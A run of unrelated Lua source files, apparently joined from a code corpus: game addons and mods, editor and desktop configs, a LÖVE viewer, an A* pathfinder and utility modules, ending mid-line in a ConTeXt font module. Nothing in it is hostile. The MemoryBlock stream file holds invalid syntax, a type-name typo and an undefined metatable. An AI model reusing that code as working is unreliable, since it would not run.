c = require("component") Rep = c.repulsor Io = c.redstone Rep.recalibrate(0) Rep.setForce(-1) Rep.setRadius(4) Rep.setWhitelist(false) --Rep.setVector(1, 1, 0) while true do r = Io.getInput(1) if r > 7 then for _=1, 10 do Rep.pulse(0,0,0) end end os.sleep(0.3) end
-- Author: Lpsd (https://github.com/Lpsd/) -- See the LICENSE file @ root directory -- ******************************************************************* FontManager = inherit(Singleton) -- ******************************************************************* function FontManager:constructor() self.fonts = {} self.qualities = { ["default"] = true, ["draft"] = true, ["proof"] = true, ["nonantialiased"] = true, ["antialiased"] = true, ["cleartype"] = true, ["cleartype_natural"] = true } self.mtaFonts = { ["default"] = true, ["default-bold"] = true, ["clear"] = true, ["arial"] = true, ["sans"] = true, ["pricedown"] = true, ["bankgothic"] = true, ["diploma"] = true, ["beckett"] = true } self.defaultQuality = "antialiased" self.defaultSizes = 16 -- Include MTA fonts for font in pairs(self.mtaFonts) do self:createFontContainer(font) end -- Include custom fonts self:createFontContainer("montserrat", "fonts/Montserrat-Regular.ttf") end -- ******************************************************************* function FontManager:setDefaultQuality(quality) if (not self.qualities[quality]) then return false end self.defaultQuality = quality return true end -- ******************************************************************* function FontManager:setDefaultSizes(sizes) sizes = tonumber(sizes) if (not sizes) then return false end self.defaultSizes = sizes return true end -- ******************************************************************* function FontManager:createFontContainer(name, filepath, sizes, quality) if (self.fonts[name]) then return false end local isMtaFont = self.mtaFonts[name] sizes = tonumber(sizes) or self.defaultSizes quality = self.qualities[quality] or self.defaultQuality self.fonts[name] = Font:new(name, filepath, sizes, quality, isMtaFont) return self.fonts[name] end -- ******************************************************************* function FontManager:getFontContainer(name) return self.fonts[name] end
local ok, onedarkpro = pcall(require, "onedarkpro") if not ok then return end -- local name_colorscheme = function () -- if O.default.theme == "onedarkpro-light" then -- -- -- body -- end local name_colorscheme = { ["onedarkpro-light"] = "onelight", ["onedarkpro-dark"] = "onedark", } onedarkpro.setup { theme = name_colorscheme[O.default.theme], -- "onedark" | "onelight" colors = { cursorline = "#FF0000", -- This is optional. The default cursorline color is based on the background }, styles = { comments = "italic", -- functions = "NONE", keywords = "bold,italic", strings = "NONE", -- variables = "NONE" }, } onedarkpro.load()
--[[ File Name : Utils.lua Created By : tubiakou Creation Date : [2019-01-07 01:28] Last Modified : [2019-02-11 00:56] Description : General / miscellaneous utilities for the WoW addon 'AllFriends' --]] -- WoW API treats LUA modules as "functions", and passes them two arguments: -- 1. The name of the addon, and -- 2. A table containing the globals for that addon. -- Using these lets all modules within an addon share the addon's global information. --local addonName, AF = ... local addonName, AF_G = ... -- Some local overloads to optimize performance (i.e. stop looking up these -- standard functions every single time they are called, and instead refer to -- them by local variables. local ipairs = ipairs local pairs = pairs local string = string local strfind = string.find local strfmt = string.format local strgsub = string.gsub local strlower = string.lower local table = table local tblinsert = table.insert local tblsort = table.sort local tonumber = tonumber local origtostring = tostring local type = type -- Table of connected realms. Declared at file-level scope to try and improve -- the chances of it remaining persistent until logout. local tConnectedRealms = { "empty" } local numConnectedRealms = 0 --- Helper function "startswith" -- Identifies if specified string starts with the specified pattern -- @param someString The string to check -- @param start The pattern to search for at start of string -- @return true Pattern found -- @return false Pattern not found function AF.startswith( someStr, start ) return someStr:sub( 1, #start ) == start end --- Helper function "endswith" -- Identifies if specified string ends with the specified pattern -- @param someStr The string to check -- @param ending The pattern to search for at end of string -- @return true Pattern found -- @return false Pattern not found function AF.endswith( someStr, ending ) return ending == "" or someStr:sub( -#ending ) == ending end --- Helper function "_tostring" -- A variant of tostring() that can handle tables recursively -- @param value table/string/number/etc. to be converted -- @return someStr Value converted into a string function AF._tostring( value ) local someStr = "" if ( type( value ) ~= 'table' ) then if ( type( value ) == 'string' ) then someStr = strfmt( "%q", value ) else someStr = origtostring( value ) end else local auxTable = {} for key in pairs( value ) do if (tonumber( key ) ~= key ) then tblinsert( auxTable, key ) else tblinsert( auxTable, AF._tostring( key ) ) end end tblsort( auxTable ) someStr = someStr .. '{' local separator = "" local entry for _, fieldName in ipairs( auxTable ) do if ( ( tonumber( fieldName ) ) and ( tonumber( fieldName ) > 0 ) ) then entry = AF._tostring( value[tonumber( fieldName )] ) else entry = fieldName.." = " .. AF._tostring( value[fieldName] ) end someStr = someStr .. separator..entry separator = ", " end someStr = someStr .. '}' end return someStr end --- Helper function "getCurrentRealm" -- Returns the current realm name. The name will be in all-lowercase format, -- and will have all leading,trailing, and intervening spaces removed. -- @return Name of current realm (all lowercase, no spaces) function AF.getCurrentRealm( ) return strlower( strgsub( GetRealmName( ), "%s+", "" ) ) end --- Helper function "getConnectedRealms" -- Returns a table of the current realm group (i.e. the local realm + all -- connected realms), along with the size of the realm-group. -- The first time this function is called, it will populate the table and -- return it. Subsequent calls will simply return the same table, since -- realm-group composition should never change while a player is online. -- @return tConnectedRealms Table representing the current realm-group -- @return numConnectedRealms Number of realms in the realm-group. function AF.getConnectedRealms( ) -- tConnectedRealms must persist across multiple function calls, so it is -- delcared at file-level scope above... -- If tConnectedRealms has not already been populated with the current -- realm-group (local realm + any connected realms) then load it now. The -- list provided by the WoW API is numerically indexed. To make lookups -- easier, convert it into a hashed table where the keys are the realm- -- names. Make all names all-lowercase. if( numConnectedRealms == 0 ) then debug:debug( "tConnectedRealms not populated - initializing now." ) wipe( tConnectedRealms ) local tmpRealmList = GetAutoCompleteRealms( ) if( #tmpRealmList == 0 ) then tblinsert( tConnectedRealms, AF.getCurrentRealm( ) ) numConnectedRealms = 1 else for i = 1, #tmpRealmList do tblinsert( tConnectedRealms, strlower( tmpRealmList[i] ) ) end numConnectedRealms = #tmpRealmList end else debug:debug( "tConnectedRealms already populated." ) end debug:info ("Returning %d realms: [%s]", numConnectedRealms, AF._tostring( tConnectedRealms ) ) return tConnectedRealms, numConnectedRealms end --- Helper function "isRealmConnected" -- Takes the specified realm and returns true/false to indicate whether or not -- it is connected to the current realm (or is equal to the local realm). -- @param realmName Name of realm to check -- @return true Realm is connected to (or equals) the local realm -- @return false Realm is not connected to and not equal the local realm function AF:isRealmConnected( realmName ) realmName = strlower( realmName ) local tRealmGroup, _ = AF.getConnectedRealms( ) for _, v in pairs(tRealmGroup) do if( realmName == v ) then debug:info( "Realm %s is connected to our realm.", realmName ) return true end end debug:info( "Realm %s is not connected to our realm." , realmName ) return false end --- Helper function "getLocalizedRealm" -- Takes a name in one of the following forms: -- - "playername" (gets treated as local realm) -- - "playername-realmname" (realm is as-specified) -- - "" (gets treated as local realm) -- - nil (gets treated as local realm) -- -- Strips the player name if present, and treats the remainder as a realm-name. -- Identifies whether this realm is: -- 1) local, -- 2) part of the current connected realm-group, or -- 3) non-local and not part of the current realm group. -- -- NOTE: All returned realm-names will be in all-lowercase, and have all spaces -- as well as any supplied player name compoenent stripped out. -- -- @param nameAndRealm Realm or "name-realm" to be localized -- @return true, <name of local realm> Specified realm is local -- @return true, <name of local realm> Specified realm is nil or empty -- @return false, <name of realm> Specified realm is non-local but connected -- @return false, "unknown" Specified realm non-local and not connected function AF:getLocalizedRealm( nameAndRealm ) -- Get the name of the local (i.e. current) realm local localRealm = AF:getCurrentRealm( ) -- Handle cases where specified realm is nil or empty if( nameAndRealm == nil or nameAndRealm == "" ) then debug:debug( "Specified name/realm is nil or empty, treating as local." ) return true, localRealm else nameAndRealm = strlower( nameAndRealm ) end -- Isolate on the realm part of the passed name, discarding any player name -- that may have been included. Convert what remains to all-lowercase, and -- strip any contained spaces. Treat names without "-" as local player -- names. local realmName if( strfind( nameAndRealm, "-" ) ) then realmName = strgsub( strgsub( nameAndRealm, "^.*-", "" ), "%s+", "" ) else realmName = localRealm end -- Handle case where specified realm equals the local realm if( realmName == localRealm ) then debug:debug( "realm %s == local realm.", realmName ) return true, localRealm end if( AF:isRealmConnected( realmName ) == true ) then debug:debug( "Realm %s different than local realm, but is connected.", realmName ) return false, realmName end debug:debug( "Realm %s not connected to local realm.", realmName ) return false, "unknown" end -- vim: autoindent tabstop=4 shiftwidth=4 softtabstop=4 expandtab
local people = require("people") local util = require("util") local fonts = require("fonts") local timer = require("hump.timer") local colors = require("colors") local index = 1 local totalTime = 0 local stencilRect = nil local indexRect = nil local textoff = { x = 0, y = 0 } local textpos = { x = 15, y = 60 } local textWidth = nil local modeloff = { x = 0, y = 0 } local indexpos = { x = 100, y = 20 } local indexoff = { x = 0, y = 0 } local indexWidth = nil local tlastoff = { x = 0, y = 0 } local mlastoff = { x = 0, y = 0 } local ilastoff = { x = 0, y = 0 } local switchanim = 0.5 local btns = nil local lastPerson = nil local lastIndex = nil local switching = false local drawText = function(person, off) love.graphics.setColor({255, 255, 255}) local text = "Name: " .. person.name .. "\n\n" .. "Date: " .. person.date .. "\n\n" .. "Idea: " .. person.idea .. "\n\n" .. "Proof: " .. person.proof .. "\n\n" .. "Disproof: " .. person.disproof fonts.text:set() love.graphics.printf(text, textpos.x + off.x, textpos.y + off.y, textWidth) end local switch = function(dir) if not switching and ((dir == "left" and index > 1) or (dir == "right" and index < #people)) then lastPerson = people[index] local toutX = textWidth + textoff.x local moutY = util.h() local ioutX = indexWidth + indexoff.x lastIndex = index if dir == "left" then toutX = 1 * toutX moutY = 1 * moutY ioutX = 1 * ioutX index = index - 1 elseif dir == "right" then toutX = -1 * toutX moutY = -1 * moutY ioutX = -1 * ioutX index = index + 1 else error("dir must be \"left\" or \"right\"!") end textoff.x = -toutX modeloff.y = -moutY indexoff.x = -ioutX switching = true timer.tween(switchanim, tlastoff, {x = toutX}, "linear", function() lastPerson = nil tlastoff.x = 0 switching = false end) timer.tween(switchanim, textoff, {x = 0}, "linear") timer.tween(switchanim, mlastoff, {y = moutY}, "linear", function() mlastoff.y = 0 end) timer.tween(switchanim, modeloff, {y = 0}, "linear") timer.tween(switchanim, ilastoff, {x = ioutX}, "linear", function() lastIndex = nil ilastoff.x = 0 end) timer.tween(switchanim, indexoff, {x = 0}, "linear") end end function possSwitch(x, y) if util.pir(x, y, btns.l.x, btns.l.y, btns.l.w, btns.l.h) then switch("left") elseif util.pir(x, y, btns.r.x, btns.r.y, btns.r.w, btns.r.h) then switch("right") end end local drawRect = function(r) love.graphics.rectangle("fill", r.x, r.y, r.w, r.h) end local drawArrow = function(dir, x, y, w, h) local rect = { x = x, y = y + h / 4, w = w / 2, h = h / 2 } local tri = {} tri[1] = x + w / 2 tri[2] = y tri[3] = x + w / 2 tri[4] = y + h tri[6] = y + h / 2 if dir == "left" then rect.x = x + w / 2 tri[5] = y elseif dir == "right" then rect.x = x tri[5] = x + w end drawRect(rect) love.graphics.polygon("fill", tri) end function love.load() love.window.setMode(1600, 900, {fsaa = 8, resizable = true}) love.window.setTitle("Toby's Atomic Models") fonts() end function love.update(dt) timer.update(dt) totalTime = totalTime + dt stencilRect = {} stencilRect.x = 10 stencilRect.y = 40 stencilRect.w = util.w() / 2 - 2 * stencilRect.x stencilRect.h = util.h() / 2 - 2 * stencilRect.y btns = { l = { x = 0, y = 0, w = 50, h = 50 }, r = { x = util.w() / 2 - 50, y = 0, w = 50, h = 50 } } textWidth = util.w() / 2 - textpos.x * 2 indexWidth = textWidth - btns.l.w - btns.r.w end function love.draw() local person = people[index] love.graphics.setColor({255 * 0.75, 0, 0}) love.graphics.rectangle("fill", 0, 0, love.graphics.getWidth() / 2, love.graphics.getHeight()) love.graphics.setColor({125, 0, 255}) love.graphics.rectangle("fill", love.graphics.getWidth() / 2, 0, love.graphics.getWidth() / 2, love.graphics.getHeight()) love.graphics.setStencil(function() drawRect(stencilRect) end) drawText(person, textoff) if lastPerson then drawText(lastPerson, tlastoff) end love.graphics.setStencil() love.graphics.setStencil(function() drawRect({ x = indexpos.x, y = indexpos.y, w = indexWidth, h = 50 }) end) if lastIndex then love.graphics.printf(lastIndex, indexpos.x + ilastoff.x, indexpos.y + ilastoff.y, indexWidth, "center") end love.graphics.printf(index, indexpos.x + indexoff.x, indexpos.y + indexoff.y, indexWidth, "center") love.graphics.setStencil() love.graphics.push() util.resize(0.5, 1) love.graphics.push() if lastPerson then love.graphics.translate(util.w(), mlastoff.y) lastPerson.model.draw(totalTime) end love.graphics.pop() love.graphics.translate(util.w(), modeloff.y) person.model.draw(totalTime) util.resize(1, 1) love.graphics.pop() love.graphics.setColor(index > 1 and colors.green or colors.gray) drawArrow("left", btns.l.x, btns.l.y, btns.l.w, btns.l.h) love.graphics.setColor(index < #people and colors.green or colors.gray) drawArrow("right", btns.r.x, btns.r.y, btns.r.w, btns.r.h) end function love.mousereleased(x, y) possSwitch(x, y) end function love.keypressed(k) if k == "left" or k == "right" then switch(k) end end
file = io.open("ms0:/PSP/GAME/PMN/fonts/font.txt","r") font_name = file:read() file:close() font = Font.load("ms0:/PSP/GAME/PMN/fonts/"..font_name) font:setPixelSizes(95,110) file = io.open("ms0:/PSP/GAME/PMN/NAME.TXT", "r") name = file:read() file:close() --Setting Variables x=100 y=100 t=1 pos=1 Text = {} Text[1]= name --format image file = io.open("ms0:/PSP/GAME/PMN/FORMAT.TXT", "r") f_format = file:read() file:close() sccnt = 1 --folder image file = io.open("ms0:/PSP/GAME/PMN/folder.TXT", "r") f_folder = file:read() file:close() while true do screen:clear() pad = Controls.read() if pad:l() then t=t-1 end if pad:r() then t=t+1 end if t < 1 then t = 1 end if t>pos then t = pos end if pad:left() then x=x-1 end if pad:right()then x=x+1 end if pad:up() then y=y-1 end if pad:down() then y=y+1 end if x<=0 then x=0 end if x>=480 then x=480 end if y<=0 then y=0 end if y>=272 then y=272 end if pad:select() then screen:save("ms0:/PICTURE/"..sccnt.."."..f_format) sccnt = sccnt + 1 end if pad:triangle() then dofile("ms0:/PSP/GAME/PMN/menu.lua") end screen:fontPrint(font,x,y,Text[t], Color.new(255,0,0)) screen.waitVblankStart() screen.flip() end
Spriteset_Hud = Object:extend("Spriteset_Hud") function Spriteset_Hud.prototype:constructor() self._hp = Assets.graphics.hud.hp_bar self._hpBar = Assets.graphics.hud.hp_bar_fill self._light = Assets.graphics.hud.light_bar self._lightBar = Assets.graphics.hud.light_bar_fill local w, h = self._hpBar:getDimensions() self._hpQuad = love.graphics.newQuad(0, 0, w, h, w, h) self._hpAmount = Game_Player.hp self._lightQuad = love.graphics.newQuad(0, 0, 36, 3, 36, 3) self:update() end function Spriteset_Hud.prototype:update(dt) if self._hpAmount < Game_Player.hp then self._hpAmount = self._hpAmount + 1 elseif self._hpAmount > Game_Player.hp then self._hpAmount = self._hpAmount - 1 end local w, h = self._hpBar:getDimensions() self._hpQuad:setViewport(0, 0, w * self._hpAmount / Game_Player.maxHP, h) self._lightQuad:setViewport(0, 0, 36 * Game_Player._candleTime / Game_Player.MAX_CANDLE_TIME, 3) end function Spriteset_Hud.prototype:draw() local offset = 2 love.graphics.draw(self._hp, offset, offset) love.graphics.draw(self._hpBar, self._hpQuad, offset + 9, offset + 2) local x = 8 local y = 10 if Game_Inventory:hand() == "candle" then love.graphics.draw(self._light, x, y) love.graphics.draw(self._lightBar, self._lightQuad, x + 1, y + 1) end end
local ffi = require "ffi" local StreamOps = require("StreamOps") local MemoryBlock = {} setmetatable(MemoryBlock, { __call = function(self, ...) return self:create(...); end, }) local MemoryBlock_mt = { __index = MemoryBlock; } function MemoryBlock.init(self, buff, bufflen, offset, byteswritten) if not buff then return nil, "no buffer specified" end bufflen = bufflen or 0 offset = offset or 0 byteswritten = byteswritten or 0 local obj = { Length = bufflen, Buffer = buff, Position = 0, BytesWritten = byteswritten, } setmetatable(obj, MemoryStream_mt) return obj end -- Parameters -- size -- OR -- buff -- bufflen -- offset -- byteswritten function MemoryBlock.create(self, ...) local nargs = select('#', ...); local buff = nil; local bufflen = 0; local offset = 0; local byteswritten = 0; if nargs == 1 and type(select(1,...)) == "number" then -- allocate a buffer of the given size bufflen = select(1,...) buff = ffi.new("uint8_t[?]", bufflen); else buff = ffi.cast("unit8_t *", select(1,...)) if nargs >= 2 and type(select(2,...)) == "number" then bufflen = select(2,...); byteswritten = bufflen; if nargs >= 3 then offset = select(3,...); end if nargs >= 4 then byteswritten = select(4,...); end else bufflen = #select(1,...); byteswritten = bufflen; end end return self:init(buff, bufflen, offset, byteswritten); end function MemoryBlock.cancel = function(self) return true; end function MemoryBlock.canseek = function(self) return true; end function MemoryBlock:reset() self.Offset = 0 self.Position = 0 self.BytesWritten = 0 end function MemoryBlock:GetLength() return self.Length end function MemoryBlock:GetPosition() return self.Position end function MemoryBlock:GetRemaining() return self.Length - self.Position end function MemoryBlock:BytesReadyToBeRead() return self.BytesWritten - self.Position end function MemoryBlock:seek(pos, origin) origin = origin or StreamOps.SEEK_SET if origin == StreamOps.SEEK_CUR then local newpos = self.Position + pos if newpos >= 0 and newpos < self.Length then self.Position = newpos end elseif origin == StreamOps.SEEK_SET then if pos >= 0 and pos < self.Length then self.Position = pos; end elseif origin == StreamOps.SEEK_END then local newpos = self.Length-1 - pos if newpos >= 0 and newpos < self.Length then self.Position = newpos end end return self.Position end --[[ Reading interface --]] function MemoryBlock:readBytes(buff, count, offset) offset = offset or 0 local pos = self.Position local remaining = self:GetRemaining() local maxbytes = math.min(count, remaining) if maxbytes < 1 then return nil, "eof" end local src = ffi.cast("const uint8_t *", self.Buffer)+pos local dst = ffi.cast("uint8_t *", buff)+offset ffi.copy(dst, src, maxbytes) return maxbytes end --[[ Writing interface --]] function MemoryBlock:writeBytes(buff, count, offset) count = count or #buff; offset = offset or 0; local pos = self.Position; local size = self.Length; local remaining = size - pos; local maxbytes = math.min(remaining, count); if maxbytes <= 0 then return 0 end local dst = ffi.cast("uint8_t *", self.Buffer)+pos local src = ffi.cast("const uint8_t *", buff)+offset ffi.copy(dst, src, maxbytes); -- self.Position = pos + maxbytes; -- if self.Position > self.BytesWritten then -- self.BytesWritten = self.Position -- end return maxbytes; end return MemoryBlock;
local resty_sha256 = require "resty.sha256" local str = require "resty.string" local sha256_bytes = function(input) local sha256 = resty_sha256:new() sha256:update(input) return sha256:final() end local sha256_hex = function(input) local r = sha256_bytes(input) return str.to_hex(r) end return { sha256_bin = sha256_bytes, sha256_hex = sha256_hex, sha256 = sha256_hex, }
return PlaceObj("ModDef", { "title", "Remove SupplyPod Limit", "id", "ChoGGi_RemoveSupplyPodLimit", "steam_id", "2037219360", "pops_any_uuid", "b13bcfad-df78-47f5-8834-c991e2d25a86", "lua_revision", 1007000, -- Picard "version", 3, "version_major", 0, "version_minor", 3, "image", "Preview.jpg", "author", "ChoGGi", "code", { "Code/Script.lua", }, "TagGameplay", true, "description", [[ Remove limit for Rovers/Drones (1/8 > 2/20) on supply pods. Also removes 20 limit for drones (and anything else with a limit). ]], })
local ComponentBase = cc.import(".ComponentBase") local EditBoxComponent = cc.class("cc.EditBox", ComponentBase) local ccrect = cc.rect local EditBox = ccui.EditBox or cc.EditBox local Scale9Sprite = ccui.Scale9Sprite or cc.Scale9Sprite function EditBoxComponent:ctor(asset, assets) EditBoxComponent.super.ctor(self) local bg if asset["_N$backgroundImage"] then local uuid = asset["_N$backgroundImage"]["__uuid__"] local spriteFrameAsset = assets:getAsset(uuid) local spriteFrame = assets:_createObject(spriteFrameAsset) local r = spriteFrameAsset["content"]["capInsets"] local capInsets = ccrect(r[1], r[2], r[3], r[4]) bg = Scale9Sprite:createWithSpriteFrame(spriteFrame, capInsets) end local node = EditBox:create({width = 100, height = 20}, bg) local fontSize = asset["_N$fontSize"] or 24 node:setFontSize(fontSize) if asset["_N$inputFlag"] then node:setInputFlag(asset["_N$inputFlag"]) end if asset["_N$inputMode"] then node:setInputMode(asset["_N$inputMode"]) end if asset["_N$maxLength"] then node:setMaxLength(asset["_N$maxLength"]) end if asset["_N$fontColor"] then node:setFontColor(asset["_N$fontColor"]) end self.node = node end function EditBoxComponent:onLoad(target) local node = self.node target:addChild(node) node:setContentSize(target.contentSize) node:setColor(target:getColor()) node:setPosition(0, 0) local ap = target.__anchorPoint if not ap then ap = {x = 0.5, y = 0.5} end node:setAnchorPoint(ap) target:setAnchorPoint(ap) end function EditBoxComponent:onDestroy(target) self.node = nil end return EditBoxComponent
-- Code created by Kwik - Copyright: kwiksher.com {{year}} -- Version: {{vers}} -- Project: {{ProjName}} -- local _M = {} local _K = require("Application") -- -- local allAudios = {} -- function _M:localPos(UI) if {{atype}}.{{aname}} == nil then {{#alang}} {{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.._K.lang.."{{fileName}}", _K.systemDir) {{/alang}} {{^alang}} {{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.."{{fileName}}", _K.systemDir) {{/alang}} end -- audio if {{atype}}.{{aname}} then local a = audio.getDuration( {{atype}}.{{aname}} ); if a > UI.allAudios.kAutoPlay then UI.allAudios.kAutoPlay = a end {{#allowRepeat}} {{atype}}.{{aname}}x9 = 0 {{/allowRepeat}} end --/audio end function _M:didShow(UI) -- audio {{#aplay}} {{#adelay}} local myClosure_{{aname}} = function() {{/adelay}} audio.setVolume({{avol}}, { channel={{achannel}} }); {{#allowRepeat}} if {{atype}}.{{aname}} == nil then return end {{atype}}.{{aname}}x9 = audio.play({{atype}}.{{aname}}, { channel={{achannel}}, loops={{aloop}}{{tofade}} } ) {{/allowRepeat}} {{^allowRepeat}} if {{atype}}.{{aname}} == nil then return end audio.play({{atype}}.{{aname}}, {channel={{achannel}}, loops={{aloop}}{{tofade}} } ) {{/allowRepeat}} {{#adelay}} end _K.timerStash.{{tm}} = timer.performWithDelay({{adelay}}, myClosure_{{aname}}, 1) {{/adelay}} {{/aplay}} --/audio end function _M:toDispose(UI) -- audio {{^akeep}} if audio.isChannelActive ( {{achannel}} ) then audio.stop({{achannel}}) end {{/akeep}} --/audio end -- function _M:toDestroy(UI) {{^akeep}} {{#allowRepeat}} if ({{atype}}.{{aname}}x9 ~= 0) then audio.dispose({{atype}}.{{aname}}) {{atype}}.{{aname}} = nil {{atype}}.{{aname}}x9 = 0 end {{/allowRepeat}} {{^allowRepeat}} if ({{atype}}.{{aname}} ~= 0) then audio.dispose({{atype}}.{{aname}}) {{atype}}.{{aname}} = nil end {{/allowRepeat}} {{/akeep}} end -- function audioDisposal(UI) -- audio -- {{^areadme}} -- { {{achannel}}, "_K.allAudios.{{aname}}"}, -- {{/areadme}} --/audio -- end function _M:getAudio(UI) --UI.allAudios or _K.allAudios if {{atype}}.{{aname}} == nil then {{#alang}} {{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.._K.lang.."{{fileName}}", _K.systemDir) {{/alang}} {{^alang}} {{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.."{{fileName}}", _K.systemDir) {{/alang}} end return {{atype}} end return _M
--- Tweens color3s by HSV -- @classmod Color3PropertyTweener local require = require(game:GetService("ReplicatedStorage"):WaitForChild("Nevermore")) local Spring = require("Spring") local Color3PropertyTweener = {} Color3PropertyTweener.ClassName = "Color3PropertyTweener" Color3PropertyTweener.__index = Color3PropertyTweener function Color3PropertyTweener.new(object, property) local self = setmetatable({}, Color3PropertyTweener) self._object = object or error("No oject") self._property = property or error("No property") local color = self._object[self._property] if typeof(color) ~= "Color3" then error(("Bad property %q, expected Color3, got %q"):format(self._property, typeof(color))) end local h, s, v = Color3.toHSV(color) self._currentState = Spring.new(Vector3.new(h, s, v)) self._currentState.Speed = 20 return self end function Color3PropertyTweener:SetSpeed(speed) self._currentState.Speed = speed or error("No speed") end function Color3PropertyTweener:Tween(target) assert(typeof(target) == "Color3", "Target must be a Color3") local h, s, v = Color3.toHSV(target) self._currentState.Target = Vector3.new(h, s, v) end function Color3PropertyTweener:Update() local current = self._currentState.Value local h, s, v = current.x, current.y, current.z local stillUpdating = (current - self._currentState.Target).Magnitude >= 1e-3 if not stillUpdating then local target = self._currentState.Target h, s, v = target.x, target.y, target.z end self._object[self._property] = Color3.fromHSV(h, s, v) return stillUpdating end return Color3PropertyTweener
object_building_kashyyyk_mun_kash_signpost_refined_s01 = object_building_kashyyyk_shared_mun_kash_signpost_refined_s01:new { } ObjectTemplates:addTemplate(object_building_kashyyyk_mun_kash_signpost_refined_s01, "object/building/kashyyyk/mun_kash_signpost_refined_s01.iff")
local M = {} M.MSG_SHOW = hash("show") M.MSG_BACK = hash("back") M.MSG_CLEAR_STACK = hash("clear_stack") M.MSG_INIT = hash("init") M.MSG_DISABLE = hash("disable") M.MSG_ENABLE = hash("enable") M.MSG_FINAL = hash("final") M.MSG_UNLOAD = hash("unload") M.MSG_PROXY_LOADED = hash("proxy_loaded") M.MSG_RELEASE_INPUT= hash("release_input_focus") M.MSG_ACQUIRE_INPUT= hash("acquire_input_focus") M.MSG_SEND_INPUT = hash("scene_send_input") M.METHOD_PUSH = hash("push") return M
-- ------------------------------------------------------------------ -- Caffeine Replacement - Keep display awake when caffeine is active. -- ------------------------------------------------------------------ local caffeine = hs.menubar.new() function setCaffeineDisplay(state) if state then caffeine:setIcon(os.getenv("HOME") .. "/.hammerspoon/assets/caffeine-menu/active.png") else caffeine:setIcon(os.getenv("HOME") .. "/.hammerspoon/assets/caffeine-menu/inactive.png") end end function caffeineClicked() setCaffeineDisplay(hs.caffeinate.toggle("displayIdle")) end if caffeine then caffeine:setClickCallback(caffeineClicked) setCaffeineDisplay(hs.caffeinate.get("displayIdle")) end
-- -- astar.lua -- lua-astar -- -- Based on John Eriksson's Python A* implementation. -- http://www.pygame.org/project-AStar-195-.html -- -- Created by Jay Roberts on 2011-01-08. -- Copyright 2011 Jay Roberts All rights reserved. -- -- Licensed under the MIT License -- -- Permission is hereby granted, free of charge, to any person obtaining a copy -- of this software and associated documentation files (the "Software"), to deal -- in the Software without restriction, including without limitation the rights -- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -- copies of the Software, and to permit persons to whom the Software is -- furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -- THE SOFTWARE. require 'lib.astar.middleclass' Path = class('Path') function Path:initialize(nodes, totalCost) self.nodes = nodes self.totalCost = totalCost end function Path:getNodes() return self.nodes end function Path:getTotalMoveCost() return self.totalCost end Node = class('Node') function Node:initialize(location, mCost, lid, parent) self.location = location -- Where is the node located self.mCost = mCost -- Total move cost to reach this node self.parent = parent -- Parent node self.score = 0 -- Calculated score for this node self.lid = lid -- set the location id - unique for each location in the map end function Node.__eq(a, b) return a.lid == b.lid end AStar = class('AStar') function AStar:initialize(maphandler) self.mh = maphandler end function AStar:_getBestOpenNode() local bestNode = nil for lid, n in pairs(self.open) do if bestNode == nil then bestNode = n else if n.score <= bestNode.score then bestNode = n end end end return bestNode end function AStar:_tracePath(n) local nodes = {} local totalCost = n.mCost local p = n.parent table.insert(nodes, 1, n) while true do if p.parent == nil then break end table.insert(nodes, 1, p) p = p.parent end return Path(nodes, totalCost) end function AStar:_handleNode(node, goal) self.open[node.lid] = nil self.closed[node.lid] = node.lid assert(node.location ~= nil, 'About to pass a node with nil location to getAdjacentNodes') local nodes = self.mh:getAdjacentNodes(node, goal) for lid, n in pairs(nodes) do repeat if self.mh:locationsAreEqual(n.location, goal) then return n elseif self.closed[n.lid] ~= nil then -- Alread in close, skip this break elseif self.open[n.lid] ~= nil then -- Already in open, check if better score local on = self.open[n.lid] if n.mCost < on.mCost then self.open[n.lid] = nil self.open[n.lid] = n end else -- New node, append to open list self.open[n.lid] = n end until true end return nil end function AStar:findPath(fromlocation, tolocation) self.open = {} self.closed = {} local goal = tolocation local fnode = self.mh:getNode(fromlocation) local nextNode = nil if fnode ~= nil then self.open[fnode.lid] = fnode nextNode = fnode end while nextNode ~= nil do local finish = self:_handleNode(nextNode, goal) if finish then return self:_tracePath(finish) end nextNode = self:_getBestOpenNode() end return nil end
if not modules then modules = { } end modules ['good-ini'] = { version = 1.000, comment = "companion to font-lib.mkiv", author = "Hans Hagen, PRAGMA-ADE, Hasselt NL", copyright = "PRAGMA ADE / ConTeXt Development Team", license = "see context related readme files" } -- depends on ctx local type, next = type, next local gmatch = string.gmatch local fonts = fonts local trace_goodies = false trackers.register("fonts.goodies", function(v) trace_goodies = v end) local report_goodies = logs.reporter("fonts","goodies") local allocate = utilities.storage.allocate local implement = interfaces.implement local findfile = resolvers.findfile local formatters = string.formatters local otf = fonts.handlers.otf local afm = fonts.handlers.afm local tfm = fonts.handlers.tfm local registerotffeature = otf.features.register local registerafmfeature = afm.features.register local registertfmfeature = tfm.features.register local addotffeature = otf.enhancers.addfeature local fontgoodies = fonts.goodies or { } fonts.goodies = fontgoodies local data = fontgoodies.data or { } fontgoodies.data = data -- no allocate as we want to see what is there local list = fontgoodies.list or { } fontgoodies.list = list -- no allocate as we want to see what is there fontgoodies.suffixes = { "lfg", "lua" } -- lfg is context specific and should not be used elsewhere function fontgoodies.report(what,trace,goodies) if trace_goodies or trace then local whatever = goodies[what] if whatever then report_goodies("goodie %a found in %a",what,goodies.name) end end end local function locate(filename) local suffixes = fontgoodies.suffixes for i=1,#suffixes do local suffix = suffixes[i] local fullname = findfile(file.addsuffix(filename,suffix)) if fullname and fullname ~= "" then return fullname end end end local function loadgoodies(filename) -- maybe a merge is better local goodies = data[filename] -- we assume no suffix is given if goodies ~= nil then -- found or tagged unfound elseif type(filename) == "string" then local fullname = locate(filename) if not fullname or 